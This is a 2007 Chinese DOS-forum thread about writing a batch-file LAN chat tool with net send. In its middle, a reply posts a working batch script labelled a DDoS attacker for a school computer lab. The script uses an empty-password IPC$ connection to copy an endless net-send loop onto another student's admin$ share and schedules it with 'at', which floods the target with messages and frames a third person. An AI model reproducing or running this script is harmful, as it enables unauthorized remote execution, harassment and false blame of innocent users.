中国DOS联盟

@echo off

title 局域网聊天工具
color 0A
MODE con: COLS=54 lines=15
echo\
echo ┏━━━━━━━━━━━━━━━━━━━┓
echo ┃ ┃
echo ┃ 局域网聊天工具 ┃
echo ┃ ┃
echo ┗━━━━━━━━━━━━━━━━━━━┛
echo\
:main
set /p m=请输入你将要发送的信息:
echo %date% %time%: %m%>>messege.txt
echo 正在发送信息，请稍等...
net send 192.168.0.1 %m%

goto main
我用net send写了一个局域网间互发信息的批处理文件，发送信息没有问题，同时我将自己发出去的信息记录到messege.txt文件中，我想知道如何将对方发过来的信息也加到该文本文件中作为聊天的记录呢？例外，能否在代码中加入可以互相发送文件的句子呢？我水平较低，不知道什么命令可以传送文件，高手们多帮忙！！！

[ Last edited by jellord on 2007-3-24 at 10:32 PM ]

xp 不是有自己的内网聊天工具么?

顶加无比的崇拜，我一直想写一个这样的程序！！！！
强人！
2楼的同志是无法体会的

系统提示：网络上找不到此消息别名。 是怎么回事啊？？

你的信使服务没有启动或是对方没有启动，在运行中依次输入net stop messenger,net start messenger,或到控制面板中开启信使的服务项目

+++++++++++++++++++++++++++++++++++++++++++++

@echo off & color f4 & title 另类Ddos单机攻击器,限三机房
echo. & echo. & echo.
setlocal enabledelayedexpansion
mode con cols=49 lines=5
set sta= ==========================__-_---___--____-_-
for /l %%i in (1,1,45) do (
cls
echo !sta:~0,%%i!
ping 127.1 -n 1 >nul
)
echo 对于安全考虑请输入密码...也可以联系528班王强。
echo ==========================---_-_--__-___-_-_-
echo.
set /p pass=请输入密码:
if not "%pass%"=="gaoshou" goto cuo
:start
cls
echo. & echo. & echo.
set /p ip=(请输入要攻击的机子号，如：stu107)：
if "%ip%"=="" goto start
set /p ipc1=(请输入要诬蔑的机子号，如：stu109)：
if "%ipc1%"=="" goto start
set /p s=(请输入要对其发的话 ，如：好啊！)：
if "%s%"=="" goto start
net use \\%ipc1%\ipc$ ""/user:"system"
if not errorlevel 1 goto start2
:start2
goto start
cls
echo. & echo.
echo :123 > 1a.bat
echo net send %ip% %s% >> 1a.bat
echo goto 123 >> 1a.bat
copy 1a.bat \\%ipc1%\admin$
net time \\%ipc1%
echo 请输入显示出来的时间
echo 如 下午02:05 就输入 14:08
echo 在显示的时间分钟加上2~5分钟 都可以
set /p t=(请输入时间)：
at \\%ipc1% %t% 1a.bat
cls & echo.
echo 执行成功.......
net use * /del
del 1a.bat
pause>nul
:start4
cls & echo. & echo.
echo +++++++++++++++
echo 1.退出
echo 2.解除
echo +++++++++++++++
set /p js= 请输入：
if "%js%"=1 goto exit
if "%js%"=2 goto po
goto start4
:exit
exit
:po
taskkill /s \\%ipc1$% /f /im 1a.bat /t
goto exit
:cuo
echo. & cls
echo.
echo.
echo.
echo ======================
echo 对不起密码输入错误
echo ======================
pause>nul


++++++++++++++++++++++++++++++++++++++++++++

把以上保存b.bat

[ Last edited by hngaoshou on 2007-3-28 at 09:01 AM ]

给3楼放个最新修改的，试试看。


@echo off

title 局域网聊天工具
color 1f
MODE con: COLS=54 lines=35
echo\
echo ┏━━━━━━━━━━━━━━━━━━━┓
echo ┃ ┃
echo ┃ 局域网聊天工具 ┃
echo ┃ copyright by jellord ┃
echo ┗━━━━━━━━━━━━━━━━━━━┛
echo\


:2
echo 正在扫描局域网在线用户，请稍等...
echo.
echo /////////////////////////////////////////////////////
echo.
setlocal enabledelayedexpansion
net view|find "\\">>lan.txt
for /f "usebackq tokens=2" %%i in (lan.txt) do (
ping -w 1 -n 1 %%i|find "snowwie">ping.txt
for /f "tokens=2,3 delims= " %%a in (ping.txt) do echo. %%b %%a ok
)
del /q lan.txt&del /q ping.txt
echo.
echo /////////////////////////////////////////////////////
echo 以上显示的是目前局域网内的在线用户
echo.



set /p u=请选择你要发送对象的用户名或ip：
:main
echo.
echo ┏━━━━━━━━━━━━━━━━━━━┓
echo ┃ qq: 重新选择发送对象 ┃
echo ┃ bb: 查看聊天记录 ┃
echo ┃ xx: 退出程序 ┃
echo ┗━━━━━━━━━━━━━━━━━━━┛
echo.
set /p m=请作出选择或输入你将要发送的信息:
if /i "%m%"=="qq" goto 2
if /i "%m%"=="xx" goto
if /i "%m%"=="bb" goto 3

echo 你于%date% %time%对%u%说: %m%>>messege.txt
echo. 正在发送信息，请稍等...
net send %u% %m%
goto main

:3
start messege.txt
goto main